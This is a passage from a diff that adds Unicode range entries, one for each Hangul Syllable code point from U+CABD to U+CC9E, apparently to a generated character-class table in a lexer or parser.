+ ["\uCABD", "\uCABD"], /* Hangul Syllable */
+ ["\uCABE", "\uCABE"], /* Hangul Syllable */
+ ["\uCABF", "\uCABF"], /* Hangul Syllable */
+ ["\uCAC0", "\uCAC0"], /* Hangul Syllable */
+ ["\uCAC1", "\uCAC1"], /* Hangul Syllable */
+ ["\uCAC2", "\uCAC2"], /* Hangul Syllable */
+ ["\uCAC3", "\uCAC3"], /* Hangul Syllable */
+ ["\uCAC4", "\uCAC4"], /* Hangul Syllable */
+ ["\uCAC5", "\uCAC5"], /* Hangul Syllable */
+ ["\uCAC6", "\uCAC6"], /* Hangul Syllable */
+ ["\uCAC7", "\uCAC7"], /* Hangul Syllable */
+ ["\uCAC8", "\uCAC8"], /* Hangul Syllable */
+ ["\uCAC9", "\uCAC9"], /* Hangul Syllable */
+ ["\uCACA", "\uCACA"], /* Hangul Syllable */
+ ["\uCACB", "\uCACB"], /* Hangul Syllable */
+ ["\uCACC", "\uCACC"], /* Hangul Syllable */
+ ["\uCACD", "\uCACD"], /* Hangul Syllable */
+ ["\uCACE", "\uCACE"], /* Hangul Syllable */
+ ["\uCACF", "\uCACF"], /* Hangul Syllable */
+ ["\uCAD0", "\uCAD0"], /* Hangul Syllable */
+ ["\uCAD1", "\uCAD1"], /* Hangul Syllable */
+ ["\uCAD2", "\uCAD2"], /* Hangul Syllable */
+ ["\uCAD3", "\uCAD3"], /* Hangul Syllable */
+ ["\uCAD4", "\uCAD4"], /* Hangul Syllable */
+ ["\uCAD5", "\uCAD5"], /* Hangul Syllable */
+ ["\uCAD6", "\uCAD6"], /* Hangul Syllable */
+ ["\uCAD7", "\uCAD7"], /* Hangul Syllable */
+ ["\uCAD8", "\uCAD8"], /* Hangul Syllable */
+ ["\uCAD9", "\uCAD9"], /* Hangul Syllable */
+ ["\uCADA", "\uCADA"], /* Hangul Syllable */
+ ["\uCADB", "\uCADB"], /* Hangul Syllable */
+ ["\uCADC", "\uCADC"], /* Hangul Syllable */
+ ["\uCADD", "\uCADD"], /* Hangul Syllable */
+ ["\uCADE", "\uCADE"], /* Hangul Syllable */
+ ["\uCADF", "\uCADF"], /* Hangul Syllable */
+ ["\uCAE0", "\uCAE0"], /* Hangul Syllable */
+ ["\uCAE1", "\uCAE1"], /* Hangul Syllable */
+ ["\uCAE2", "\uCAE2"], /* Hangul Syllable */
+ ["\uCAE3", "\uCAE3"], /* Hangul Syllable */
+ ["\uCAE4", "\uCAE4"], /* Hangul Syllable */
+ ["\uCAE5", "\uCAE5"], /* Hangul Syllable */
+ ["\uCAE6", "\uCAE6"], /* Hangul Syllable */
+ ["\uCAE7", "\uCAE7"], /* Hangul Syllable */
+ ["\uCAE8", "\uCAE8"], /* Hangul Syllable */
+ ["\uCAE9", "\uCAE9"], /* Hangul Syllable */
+ ["\uCAEA", "\uCAEA"], /* Hangul Syllable */
+ ["\uCAEB", "\uCAEB"], /* Hangul Syllable */
+ ["\uCAEC", "\uCAEC"], /* Hangul Syllable */
+ ["\uCAED", "\uCAED"], /* Hangul Syllable */
+ ["\uCAEE", "\uCAEE"], /* Hangul Syllable */
+ ["\uCAEF", "\uCAEF"], /* Hangul Syllable */
+ ["\uCAF0", "\uCAF0"], /* Hangul Syllable */
+ ["\uCAF1", "\uCAF1"], /* Hangul Syllable */
+ ["\uCAF2", "\uCAF2"], /* Hangul Syllable */
+ ["\uCAF3", "\uCAF3"], /* Hangul Syllable */
+ ["\uCAF4", "\uCAF4"], /* Hangul Syllable */
+ ["\uCAF5", "\uCAF5"], /* Hangul Syllable */
+ ["\uCAF6", "\uCAF6"], /* Hangul Syllable */
+ ["\uCAF7", "\uCAF7"], /* Hangul Syllable */
+ ["\uCAF8", "\uCAF8"], /* Hangul Syllable */
+ ["\uCAF9", "\uCAF9"], /* Hangul Syllable */
+ ["\uCAFA", "\uCAFA"], /* Hangul Syllable */
+ ["\uCAFB", "\uCAFB"], /* Hangul Syllable */
+ ["\uCAFC", "\uCAFC"], /* Hangul Syllable */
+ ["\uCAFD", "\uCAFD"], /* Hangul Syllable */
+ ["\uCAFE", "\uCAFE"], /* Hangul Syllable */
+ ["\uCAFF", "\uCAFF"], /* Hangul Syllable */
+ ["\uCB00", "\uCB00"], /* Hangul Syllable */
+ ["\uCB01", "\uCB01"], /* Hangul Syllable */
+ ["\uCB02", "\uCB02"], /* Hangul Syllable */
+ ["\uCB03", "\uCB03"], /* Hangul Syllable */
+ ["\uCB04", "\uCB04"], /* Hangul Syllable */
+ ["\uCB05", "\uCB05"], /* Hangul Syllable */
+ ["\uCB06", "\uCB06"], /* Hangul Syllable */
+ ["\uCB07", "\uCB07"], /* Hangul Syllable */
+ ["\uCB08", "\uCB08"], /* Hangul Syllable */
+ ["\uCB09", "\uCB09"], /* Hangul Syllable */
+ ["\uCB0A", "\uCB0A"], /* Hangul Syllable */
+ ["\uCB0B", "\uCB0B"], /* Hangul Syllable */
+ ["\uCB0C", "\uCB0C"], /* Hangul Syllable */
+ ["\uCB0D", "\uCB0D"], /* Hangul Syllable */
+ ["\uCB0E", "\uCB0E"], /* Hangul Syllable */
+ ["\uCB0F", "\uCB0F"], /* Hangul Syllable */
+ ["\uCB10", "\uCB10"], /* Hangul Syllable */
+ ["\uCB11", "\uCB11"], /* Hangul Syllable */
+ ["\uCB12", "\uCB12"], /* Hangul Syllable */
+ ["\uCB13", "\uCB13"], /* Hangul Syllable */
+ ["\uCB14", "\uCB14"], /* Hangul Syllable */
+ ["\uCB15", "\uCB15"], /* Hangul Syllable */
+ ["\uCB16", "\uCB16"], /* Hangul Syllable */
+ ["\uCB17", "\uCB17"], /* Hangul Syllable */
+ ["\uCB18", "\uCB18"], /* Hangul Syllable */
+ ["\uCB19", "\uCB19"], /* Hangul Syllable */
+ ["\uCB1A", "\uCB1A"], /* Hangul Syllable */
+ ["\uCB1B", "\uCB1B"], /* Hangul Syllable */
+ ["\uCB1C", "\uCB1C"], /* Hangul Syllable */
+ ["\uCB1D", "\uCB1D"], /* Hangul Syllable */
+ ["\uCB1E", "\uCB1E"], /* Hangul Syllable */
+ ["\uCB1F", "\uCB1F"], /* Hangul Syllable */
+ ["\uCB20", "\uCB20"], /* Hangul Syllable */
+ ["\uCB21", "\uCB21"], /* Hangul Syllable */
+ ["\uCB22", "\uCB22"], /* Hangul Syllable */
+ ["\uCB23", "\uCB23"], /* Hangul Syllable */
+ ["\uCB24", "\uCB24"], /* Hangul Syllable */
+ ["\uCB25", "\uCB25"], /* Hangul Syllable */
+ ["\uCB26", "\uCB26"], /* Hangul Syllable */
+ ["\uCB27", "\uCB27"], /* Hangul Syllable */
+ ["\uCB28", "\uCB28"], /* Hangul Syllable */
+ ["\uCB29", "\uCB29"], /* Hangul Syllable */
+ ["\uCB2A", "\uCB2A"], /* Hangul Syllable */
+ ["\uCB2B", "\uCB2B"], /* Hangul Syllable */
+ ["\uCB2C", "\uCB2C"], /* Hangul Syllable */
+ ["\uCB2D", "\uCB2D"], /* Hangul Syllable */
+ ["\uCB2E", "\uCB2E"], /* Hangul Syllable */
+ ["\uCB2F", "\uCB2F"], /* Hangul Syllable */
+ ["\uCB30", "\uCB30"], /* Hangul Syllable */
+ ["\uCB31", "\uCB31"], /* Hangul Syllable */
+ ["\uCB32", "\uCB32"], /* Hangul Syllable */
+ ["\uCB33", "\uCB33"], /* Hangul Syllable */
+ ["\uCB34", "\uCB34"], /* Hangul Syllable */
+ ["\uCB35", "\uCB35"], /* Hangul Syllable */
+ ["\uCB36", "\uCB36"], /* Hangul Syllable */
+ ["\uCB37", "\uCB37"], /* Hangul Syllable */
+ ["\uCB38", "\uCB38"], /* Hangul Syllable */
+ ["\uCB39", "\uCB39"], /* Hangul Syllable */
+ ["\uCB3A", "\uCB3A"], /* Hangul Syllable */
+ ["\uCB3B", "\uCB3B"], /* Hangul Syllable */
+ ["\uCB3C", "\uCB3C"], /* Hangul Syllable */
+ ["\uCB3D", "\uCB3D"], /* Hangul Syllable */
+ ["\uCB3E", "\uCB3E"], /* Hangul Syllable */
+ ["\uCB3F", "\uCB3F"], /* Hangul Syllable */
+ ["\uCB40", "\uCB40"], /* Hangul Syllable */
+ ["\uCB41", "\uCB41"], /* Hangul Syllable */
+ ["\uCB42", "\uCB42"], /* Hangul Syllable */
+ ["\uCB43", "\uCB43"], /* Hangul Syllable */
+ ["\uCB44", "\uCB44"], /* Hangul Syllable */
+ ["\uCB45", "\uCB45"], /* Hangul Syllable */
+ ["\uCB46", "\uCB46"], /* Hangul Syllable */
+ ["\uCB47", "\uCB47"], /* Hangul Syllable */
+ ["\uCB48", "\uCB48"], /* Hangul Syllable */
+ ["\uCB49", "\uCB49"], /* Hangul Syllable */
+ ["\uCB4A", "\uCB4A"], /* Hangul Syllable */
+ ["\uCB4B", "\uCB4B"], /* Hangul Syllable */
+ ["\uCB4C", "\uCB4C"], /* Hangul Syllable */
+ ["\uCB4D", "\uCB4D"], /* Hangul Syllable */
+ ["\uCB4E", "\uCB4E"], /* Hangul Syllable */
+ ["\uCB4F", "\uCB4F"], /* Hangul Syllable */
+ ["\uCB50", "\uCB50"], /* Hangul Syllable */
+ ["\uCB51", "\uCB51"], /* Hangul Syllable */
+ ["\uCB52", "\uCB52"], /* Hangul Syllable */
+ ["\uCB53", "\uCB53"], /* Hangul Syllable */
+ ["\uCB54", "\uCB54"], /* Hangul Syllable */
+ ["\uCB55", "\uCB55"], /* Hangul Syllable */
+ ["\uCB56", "\uCB56"], /* Hangul Syllable */
+ ["\uCB57", "\uCB57"], /* Hangul Syllable */
+ ["\uCB58", "\uCB58"], /* Hangul Syllable */
+ ["\uCB59", "\uCB59"], /* Hangul Syllable */
+ ["\uCB5A", "\uCB5A"], /* Hangul Syllable */
+ ["\uCB5B", "\uCB5B"], /* Hangul Syllable */
+ ["\uCB5C", "\uCB5C"], /* Hangul Syllable */
+ ["\uCB5D", "\uCB5D"], /* Hangul Syllable */
+ ["\uCB5E", "\uCB5E"], /* Hangul Syllable */
+ ["\uCB5F", "\uCB5F"], /* Hangul Syllable */
+ ["\uCB60", "\uCB60"], /* Hangul Syllable */
+ ["\uCB61", "\uCB61"], /* Hangul Syllable */
+ ["\uCB62", "\uCB62"], /* Hangul Syllable */
+ ["\uCB63", "\uCB63"], /* Hangul Syllable */
+ ["\uCB64", "\uCB64"], /* Hangul Syllable */
+ ["\uCB65", "\uCB65"], /* Hangul Syllable */
+ ["\uCB66", "\uCB66"], /* Hangul Syllable */
+ ["\uCB67", "\uCB67"], /* Hangul Syllable */
+ ["\uCB68", "\uCB68"], /* Hangul Syllable */
+ ["\uCB69", "\uCB69"], /* Hangul Syllable */
+ ["\uCB6A", "\uCB6A"], /* Hangul Syllable */
+ ["\uCB6B", "\uCB6B"], /* Hangul Syllable */
+ ["\uCB6C", "\uCB6C"], /* Hangul Syllable */
+ ["\uCB6D", "\uCB6D"], /* Hangul Syllable */
+ ["\uCB6E", "\uCB6E"], /* Hangul Syllable */
+ ["\uCB6F", "\uCB6F"], /* Hangul Syllable */
+ ["\uCB70", "\uCB70"], /* Hangul Syllable */
+ ["\uCB71", "\uCB71"], /* Hangul Syllable */
+ ["\uCB72", "\uCB72"], /* Hangul Syllable */
+ ["\uCB73", "\uCB73"], /* Hangul Syllable */
+ ["\uCB74", "\uCB74"], /* Hangul Syllable */
+ ["\uCB75", "\uCB75"], /* Hangul Syllable */
+ ["\uCB76", "\uCB76"], /* Hangul Syllable */
+ ["\uCB77", "\uCB77"], /* Hangul Syllable */
+ ["\uCB78", "\uCB78"], /* Hangul Syllable */
+ ["\uCB79", "\uCB79"], /* Hangul Syllable */
+ ["\uCB7A", "\uCB7A"], /* Hangul Syllable */
+ ["\uCB7B", "\uCB7B"], /* Hangul Syllable */
+ ["\uCB7C", "\uCB7C"], /* Hangul Syllable */
+ ["\uCB7D", "\uCB7D"], /* Hangul Syllable */
+ ["\uCB7E", "\uCB7E"], /* Hangul Syllable */
+ ["\uCB7F", "\uCB7F"], /* Hangul Syllable */
+ ["\uCB80", "\uCB80"], /* Hangul Syllable */
+ ["\uCB81", "\uCB81"], /* Hangul Syllable */
+ ["\uCB82", "\uCB82"], /* Hangul Syllable */
+ ["\uCB83", "\uCB83"], /* Hangul Syllable */
+ ["\uCB84", "\uCB84"], /* Hangul Syllable */
+ ["\uCB85", "\uCB85"], /* Hangul Syllable */
+ ["\uCB86", "\uCB86"], /* Hangul Syllable */
+ ["\uCB87", "\uCB87"], /* Hangul Syllable */
+ ["\uCB88", "\uCB88"], /* Hangul Syllable */
+ ["\uCB89", "\uCB89"], /* Hangul Syllable */
+ ["\uCB8A", "\uCB8A"], /* Hangul Syllable */
+ ["\uCB8B", "\uCB8B"], /* Hangul Syllable */
+ ["\uCB8C", "\uCB8C"], /* Hangul Syllable */
+ ["\uCB8D", "\uCB8D"], /* Hangul Syllable */
+ ["\uCB8E", "\uCB8E"], /* Hangul Syllable */
+ ["\uCB8F", "\uCB8F"], /* Hangul Syllable */
+ ["\uCB90", "\uCB90"], /* Hangul Syllable */
+ ["\uCB91", "\uCB91"], /* Hangul Syllable */
+ ["\uCB92", "\uCB92"], /* Hangul Syllable */
+ ["\uCB93", "\uCB93"], /* Hangul Syllable */
+ ["\uCB94", "\uCB94"], /* Hangul Syllable */
+ ["\uCB95", "\uCB95"], /* Hangul Syllable */
+ ["\uCB96", "\uCB96"], /* Hangul Syllable */
+ ["\uCB97", "\uCB97"], /* Hangul Syllable */
+ ["\uCB98", "\uCB98"], /* Hangul Syllable */
+ ["\uCB99", "\uCB99"], /* Hangul Syllable */
+ ["\uCB9A", "\uCB9A"], /* Hangul Syllable */
+ ["\uCB9B", "\uCB9B"], /* Hangul Syllable */
+ ["\uCB9C", "\uCB9C"], /* Hangul Syllable */
+ ["\uCB9D", "\uCB9D"], /* Hangul Syllable */
+ ["\uCB9E", "\uCB9E"], /* Hangul Syllable */
+ ["\uCB9F", "\uCB9F"], /* Hangul Syllable */
+ ["\uCBA0", "\uCBA0"], /* Hangul Syllable */
+ ["\uCBA1", "\uCBA1"], /* Hangul Syllable */
+ ["\uCBA2", "\uCBA2"], /* Hangul Syllable */
+ ["\uCBA3", "\uCBA3"], /* Hangul Syllable */
+ ["\uCBA4", "\uCBA4"], /* Hangul Syllable */
+ ["\uCBA5", "\uCBA5"], /* Hangul Syllable */
+ ["\uCBA6", "\uCBA6"], /* Hangul Syllable */
+ ["\uCBA7", "\uCBA7"], /* Hangul Syllable */
+ ["\uCBA8", "\uCBA8"], /* Hangul Syllable */
+ ["\uCBA9", "\uCBA9"], /* Hangul Syllable */
+ ["\uCBAA", "\uCBAA"], /* Hangul Syllable */
+ ["\uCBAB", "\uCBAB"], /* Hangul Syllable */
+ ["\uCBAC", "\uCBAC"], /* Hangul Syllable */
+ ["\uCBAD", "\uCBAD"], /* Hangul Syllable */
+ ["\uCBAE", "\uCBAE"], /* Hangul Syllable */
+ ["\uCBAF", "\uCBAF"], /* Hangul Syllable */
+ ["\uCBB0", "\uCBB0"], /* Hangul Syllable */
+ ["\uCBB1", "\uCBB1"], /* Hangul Syllable */
+ ["\uCBB2", "\uCBB2"], /* Hangul Syllable */
+ ["\uCBB3", "\uCBB3"], /* Hangul Syllable */
+ ["\uCBB4", "\uCBB4"], /* Hangul Syllable */
+ ["\uCBB5", "\uCBB5"], /* Hangul Syllable */
+ ["\uCBB6", "\uCBB6"], /* Hangul Syllable */
+ ["\uCBB7", "\uCBB7"], /* Hangul Syllable */
+ ["\uCBB8", "\uCBB8"], /* Hangul Syllable */
+ ["\uCBB9", "\uCBB9"], /* Hangul Syllable */
+ ["\uCBBA", "\uCBBA"], /* Hangul Syllable */
+ ["\uCBBB", "\uCBBB"], /* Hangul Syllable */
+ ["\uCBBC", "\uCBBC"], /* Hangul Syllable */
+ ["\uCBBD", "\uCBBD"], /* Hangul Syllable */
+ ["\uCBBE", "\uCBBE"], /* Hangul Syllable */
+ ["\uCBBF", "\uCBBF"], /* Hangul Syllable */
+ ["\uCBC0", "\uCBC0"], /* Hangul Syllable */
+ ["\uCBC1", "\uCBC1"], /* Hangul Syllable */
+ ["\uCBC2", "\uCBC2"], /* Hangul Syllable */
+ ["\uCBC3", "\uCBC3"], /* Hangul Syllable */
+ ["\uCBC4", "\uCBC4"], /* Hangul Syllable */
+ ["\uCBC5", "\uCBC5"], /* Hangul Syllable */
+ ["\uCBC6", "\uCBC6"], /* Hangul Syllable */
+ ["\uCBC7", "\uCBC7"], /* Hangul Syllable */
+ ["\uCBC8", "\uCBC8"], /* Hangul Syllable */
+ ["\uCBC9", "\uCBC9"], /* Hangul Syllable */
+ ["\uCBCA", "\uCBCA"], /* Hangul Syllable */
+ ["\uCBCB", "\uCBCB"], /* Hangul Syllable */
+ ["\uCBCC", "\uCBCC"], /* Hangul Syllable */
+ ["\uCBCD", "\uCBCD"], /* Hangul Syllable */
+ ["\uCBCE", "\uCBCE"], /* Hangul Syllable */
+ ["\uCBCF", "\uCBCF"], /* Hangul Syllable */
+ ["\uCBD0", "\uCBD0"], /* Hangul Syllable */
+ ["\uCBD1", "\uCBD1"], /* Hangul Syllable */
+ ["\uCBD2", "\uCBD2"], /* Hangul Syllable */
+ ["\uCBD3", "\uCBD3"], /* Hangul Syllable */
+ ["\uCBD4", "\uCBD4"], /* Hangul Syllable */
+ ["\uCBD5", "\uCBD5"], /* Hangul Syllable */
+ ["\uCBD6", "\uCBD6"], /* Hangul Syllable */
+ ["\uCBD7", "\uCBD7"], /* Hangul Syllable */
+ ["\uCBD8", "\uCBD8"], /* Hangul Syllable */
+ ["\uCBD9", "\uCBD9"], /* Hangul Syllable */
+ ["\uCBDA", "\uCBDA"], /* Hangul Syllable */
+ ["\uCBDB", "\uCBDB"], /* Hangul Syllable */
+ ["\uCBDC", "\uCBDC"], /* Hangul Syllable */
+ ["\uCBDD", "\uCBDD"], /* Hangul Syllable */
+ ["\uCBDE", "\uCBDE"], /* Hangul Syllable */
+ ["\uCBDF", "\uCBDF"], /* Hangul Syllable */
+ ["\uCBE0", "\uCBE0"], /* Hangul Syllable */
+ ["\uCBE1", "\uCBE1"], /* Hangul Syllable */
+ ["\uCBE2", "\uCBE2"], /* Hangul Syllable */
+ ["\uCBE3", "\uCBE3"], /* Hangul Syllable */
+ ["\uCBE4", "\uCBE4"], /* Hangul Syllable */
+ ["\uCBE5", "\uCBE5"], /* Hangul Syllable */
+ ["\uCBE6", "\uCBE6"], /* Hangul Syllable */
+ ["\uCBE7", "\uCBE7"], /* Hangul Syllable */
+ ["\uCBE8", "\uCBE8"], /* Hangul Syllable */
+ ["\uCBE9", "\uCBE9"], /* Hangul Syllable */
+ ["\uCBEA", "\uCBEA"], /* Hangul Syllable */
+ ["\uCBEB", "\uCBEB"], /* Hangul Syllable */
+ ["\uCBEC", "\uCBEC"], /* Hangul Syllable */
+ ["\uCBED", "\uCBED"], /* Hangul Syllable */
+ ["\uCBEE", "\uCBEE"], /* Hangul Syllable */
+ ["\uCBEF", "\uCBEF"], /* Hangul Syllable */
+ ["\uCBF0", "\uCBF0"], /* Hangul Syllable */
+ ["\uCBF1", "\uCBF1"], /* Hangul Syllable */
+ ["\uCBF2", "\uCBF2"], /* Hangul Syllable */
+ ["\uCBF3", "\uCBF3"], /* Hangul Syllable */
+ ["\uCBF4", "\uCBF4"], /* Hangul Syllable */
+ ["\uCBF5", "\uCBF5"], /* Hangul Syllable */
+ ["\uCBF6", "\uCBF6"], /* Hangul Syllable */
+ ["\uCBF7", "\uCBF7"], /* Hangul Syllable */
+ ["\uCBF8", "\uCBF8"], /* Hangul Syllable */
+ ["\uCBF9", "\uCBF9"], /* Hangul Syllable */
+ ["\uCBFA", "\uCBFA"], /* Hangul Syllable */
+ ["\uCBFB", "\uCBFB"], /* Hangul Syllable */
+ ["\uCBFC", "\uCBFC"], /* Hangul Syllable */
+ ["\uCBFD", "\uCBFD"], /* Hangul Syllable */
+ ["\uCBFE", "\uCBFE"], /* Hangul Syllable */
+ ["\uCBFF", "\uCBFF"], /* Hangul Syllable */
+ ["\uCC00", "\uCC00"], /* Hangul Syllable */
+ ["\uCC01", "\uCC01"], /* Hangul Syllable */
+ ["\uCC02", "\uCC02"], /* Hangul Syllable */
+ ["\uCC03", "\uCC03"], /* Hangul Syllable */
+ ["\uCC04", "\uCC04"], /* Hangul Syllable */
+ ["\uCC05", "\uCC05"], /* Hangul Syllable */
+ ["\uCC06", "\uCC06"], /* Hangul Syllable */
+ ["\uCC07", "\uCC07"], /* Hangul Syllable */
+ ["\uCC08", "\uCC08"], /* Hangul Syllable */
+ ["\uCC09", "\uCC09"], /* Hangul Syllable */
+ ["\uCC0A", "\uCC0A"], /* Hangul Syllable */
+ ["\uCC0B", "\uCC0B"], /* Hangul Syllable */
+ ["\uCC0C", "\uCC0C"], /* Hangul Syllable */
+ ["\uCC0D", "\uCC0D"], /* Hangul Syllable */
+ ["\uCC0E", "\uCC0E"], /* Hangul Syllable */
+ ["\uCC0F", "\uCC0F"], /* Hangul Syllable */
+ ["\uCC10", "\uCC10"], /* Hangul Syllable */
+ ["\uCC11", "\uCC11"], /* Hangul Syllable */
+ ["\uCC12", "\uCC12"], /* Hangul Syllable */
+ ["\uCC13", "\uCC13"], /* Hangul Syllable */
+ ["\uCC14", "\uCC14"], /* Hangul Syllable */
+ ["\uCC15", "\uCC15"], /* Hangul Syllable */
+ ["\uCC16", "\uCC16"], /* Hangul Syllable */
+ ["\uCC17", "\uCC17"], /* Hangul Syllable */
+ ["\uCC18", "\uCC18"], /* Hangul Syllable */
+ ["\uCC19", "\uCC19"], /* Hangul Syllable */
+ ["\uCC1A", "\uCC1A"], /* Hangul Syllable */
+ ["\uCC1B", "\uCC1B"], /* Hangul Syllable */
+ ["\uCC1C", "\uCC1C"], /* Hangul Syllable */
+ ["\uCC1D", "\uCC1D"], /* Hangul Syllable */
+ ["\uCC1E", "\uCC1E"], /* Hangul Syllable */
+ ["\uCC1F", "\uCC1F"], /* Hangul Syllable */
+ ["\uCC20", "\uCC20"], /* Hangul Syllable */
+ ["\uCC21", "\uCC21"], /* Hangul Syllable */
+ ["\uCC22", "\uCC22"], /* Hangul Syllable */
+ ["\uCC23", "\uCC23"], /* Hangul Syllable */
+ ["\uCC24", "\uCC24"], /* Hangul Syllable */
+ ["\uCC25", "\uCC25"], /* Hangul Syllable */
+ ["\uCC26", "\uCC26"], /* Hangul Syllable */
+ ["\uCC27", "\uCC27"], /* Hangul Syllable */
+ ["\uCC28", "\uCC28"], /* Hangul Syllable */
+ ["\uCC29", "\uCC29"], /* Hangul Syllable */
+ ["\uCC2A", "\uCC2A"], /* Hangul Syllable */
+ ["\uCC2B", "\uCC2B"], /* Hangul Syllable */
+ ["\uCC2C", "\uCC2C"], /* Hangul Syllable */
+ ["\uCC2D", "\uCC2D"], /* Hangul Syllable */
+ ["\uCC2E", "\uCC2E"], /* Hangul Syllable */
+ ["\uCC2F", "\uCC2F"], /* Hangul Syllable */
+ ["\uCC30", "\uCC30"], /* Hangul Syllable */
+ ["\uCC31", "\uCC31"], /* Hangul Syllable */
+ ["\uCC32", "\uCC32"], /* Hangul Syllable */
+ ["\uCC33", "\uCC33"], /* Hangul Syllable */
+ ["\uCC34", "\uCC34"], /* Hangul Syllable */
+ ["\uCC35", "\uCC35"], /* Hangul Syllable */
+ ["\uCC36", "\uCC36"], /* Hangul Syllable */
+ ["\uCC37", "\uCC37"], /* Hangul Syllable */
+ ["\uCC38", "\uCC38"], /* Hangul Syllable */
+ ["\uCC39", "\uCC39"], /* Hangul Syllable */
+ ["\uCC3A", "\uCC3A"], /* Hangul Syllable */
+ ["\uCC3B", "\uCC3B"], /* Hangul Syllable */
+ ["\uCC3C", "\uCC3C"], /* Hangul Syllable */
+ ["\uCC3D", "\uCC3D"], /* Hangul Syllable */
+ ["\uCC3E", "\uCC3E"], /* Hangul Syllable */
+ ["\uCC3F", "\uCC3F"], /* Hangul Syllable */
+ ["\uCC40", "\uCC40"], /* Hangul Syllable */
+ ["\uCC41", "\uCC41"], /* Hangul Syllable */
+ ["\uCC42", "\uCC42"], /* Hangul Syllable */
+ ["\uCC43", "\uCC43"], /* Hangul Syllable */
+ ["\uCC44", "\uCC44"], /* Hangul Syllable */
+ ["\uCC45", "\uCC45"], /* Hangul Syllable */
+ ["\uCC46", "\uCC46"], /* Hangul Syllable */
+ ["\uCC47", "\uCC47"], /* Hangul Syllable */
+ ["\uCC48", "\uCC48"], /* Hangul Syllable */
+ ["\uCC49", "\uCC49"], /* Hangul Syllable */
+ ["\uCC4A", "\uCC4A"], /* Hangul Syllable */
+ ["\uCC4B", "\uCC4B"], /* Hangul Syllable */
+ ["\uCC4C", "\uCC4C"], /* Hangul Syllable */
+ ["\uCC4D", "\uCC4D"], /* Hangul Syllable */
+ ["\uCC4E", "\uCC4E"], /* Hangul Syllable */
+ ["\uCC4F", "\uCC4F"], /* Hangul Syllable */
+ ["\uCC50", "\uCC50"], /* Hangul Syllable */
+ ["\uCC51", "\uCC51"], /* Hangul Syllable */
+ ["\uCC52", "\uCC52"], /* Hangul Syllable */
+ ["\uCC53", "\uCC53"], /* Hangul Syllable */
+ ["\uCC54", "\uCC54"], /* Hangul Syllable */
+ ["\uCC55", "\uCC55"], /* Hangul Syllable */
+ ["\uCC56", "\uCC56"], /* Hangul Syllable */
+ ["\uCC57", "\uCC57"], /* Hangul Syllable */
+ ["\uCC58", "\uCC58"], /* Hangul Syllable */
+ ["\uCC59", "\uCC59"], /* Hangul Syllable */
+ ["\uCC5A", "\uCC5A"], /* Hangul Syllable */
+ ["\uCC5B", "\uCC5B"], /* Hangul Syllable */
+ ["\uCC5C", "\uCC5C"], /* Hangul Syllable */
+ ["\uCC5D", "\uCC5D"], /* Hangul Syllable */
+ ["\uCC5E", "\uCC5E"], /* Hangul Syllable */
+ ["\uCC5F", "\uCC5F"], /* Hangul Syllable */
+ ["\uCC60", "\uCC60"], /* Hangul Syllable */
+ ["\uCC61", "\uCC61"], /* Hangul Syllable */
+ ["\uCC62", "\uCC62"], /* Hangul Syllable */
+ ["\uCC63", "\uCC63"], /* Hangul Syllable */
+ ["\uCC64", "\uCC64"], /* Hangul Syllable */
+ ["\uCC65", "\uCC65"], /* Hangul Syllable */
+ ["\uCC66", "\uCC66"], /* Hangul Syllable */
+ ["\uCC67", "\uCC67"], /* Hangul Syllable */
+ ["\uCC68", "\uCC68"], /* Hangul Syllable */
+ ["\uCC69", "\uCC69"], /* Hangul Syllable */
+ ["\uCC6A", "\uCC6A"], /* Hangul Syllable */
+ ["\uCC6B", "\uCC6B"], /* Hangul Syllable */
+ ["\uCC6C", "\uCC6C"], /* Hangul Syllable */
+ ["\uCC6D", "\uCC6D"], /* Hangul Syllable */
+ ["\uCC6E", "\uCC6E"], /* Hangul Syllable */
+ ["\uCC6F", "\uCC6F"], /* Hangul Syllable */
+ ["\uCC70", "\uCC70"], /* Hangul Syllable */
+ ["\uCC71", "\uCC71"], /* Hangul Syllable */
+ ["\uCC72", "\uCC72"], /* Hangul Syllable */
+ ["\uCC73", "\uCC73"], /* Hangul Syllable */
+ ["\uCC74", "\uCC74"], /* Hangul Syllable */
+ ["\uCC75", "\uCC75"], /* Hangul Syllable */
+ ["\uCC76", "\uCC76"], /* Hangul Syllable */
+ ["\uCC77", "\uCC77"], /* Hangul Syllable */
+ ["\uCC78", "\uCC78"], /* Hangul Syllable */
+ ["\uCC79", "\uCC79"], /* Hangul Syllable */
+ ["\uCC7A", "\uCC7A"], /* Hangul Syllable */
+ ["\uCC7B", "\uCC7B"], /* Hangul Syllable */
+ ["\uCC7C", "\uCC7C"], /* Hangul Syllable */
+ ["\uCC7D", "\uCC7D"], /* Hangul Syllable */
+ ["\uCC7E", "\uCC7E"], /* Hangul Syllable */
+ ["\uCC7F", "\uCC7F"], /* Hangul Syllable */
+ ["\uCC80", "\uCC80"], /* Hangul Syllable */
+ ["\uCC81", "\uCC81"], /* Hangul Syllable */
+ ["\uCC82", "\uCC82"], /* Hangul Syllable */
+ ["\uCC83", "\uCC83"], /* Hangul Syllable */
+ ["\uCC84", "\uCC84"], /* Hangul Syllable */
+ ["\uCC85", "\uCC85"], /* Hangul Syllable */
+ ["\uCC86", "\uCC86"], /* Hangul Syllable */
+ ["\uCC87", "\uCC87"], /* Hangul Syllable */
+ ["\uCC88", "\uCC88"], /* Hangul Syllable */
+ ["\uCC89", "\uCC89"], /* Hangul Syllable */
+ ["\uCC8A", "\uCC8A"], /* Hangul Syllable */
+ ["\uCC8B", "\uCC8B"], /* Hangul Syllable */
+ ["\uCC8C", "\uCC8C"], /* Hangul Syllable */
+ ["\uCC8D", "\uCC8D"], /* Hangul Syllable */
+ ["\uCC8E", "\uCC8E"], /* Hangul Syllable */
+ ["\uCC8F", "\uCC8F"], /* Hangul Syllable */
+ ["\uCC90", "\uCC90"], /* Hangul Syllable */
+ ["\uCC91", "\uCC91"], /* Hangul Syllable */
+ ["\uCC92", "\uCC92"], /* Hangul Syllable */
+ ["\uCC93", "\uCC93"], /* Hangul Syllable */
+ ["\uCC94", "\uCC94"], /* Hangul Syllable */
+ ["\uCC95", "\uCC95"], /* Hangul Syllable */
+ ["\uCC96", "\uCC96"], /* Hangul Syllable */
+ ["\uCC97", "\uCC97"], /* Hangul Syllable */
+ ["\uCC98", "\uCC98"], /* Hangul Syllable */
+ ["\uCC99", "\uCC99"], /* Hangul Syllable */
+ ["\uCC9A", "\uCC9A"], /* Hangul Syllable */
+ ["\uCC9B", "\uCC9B"], /* Hangul Syllable */
+ ["\uCC9C", "\uCC9C"], /* Hangul Syllable */
+ ["\uCC9D", "\uCC9D"], /* Hangul Syllable */
+ ["\uCC9E", "\uCC9E"], /* Hangul Syllable */
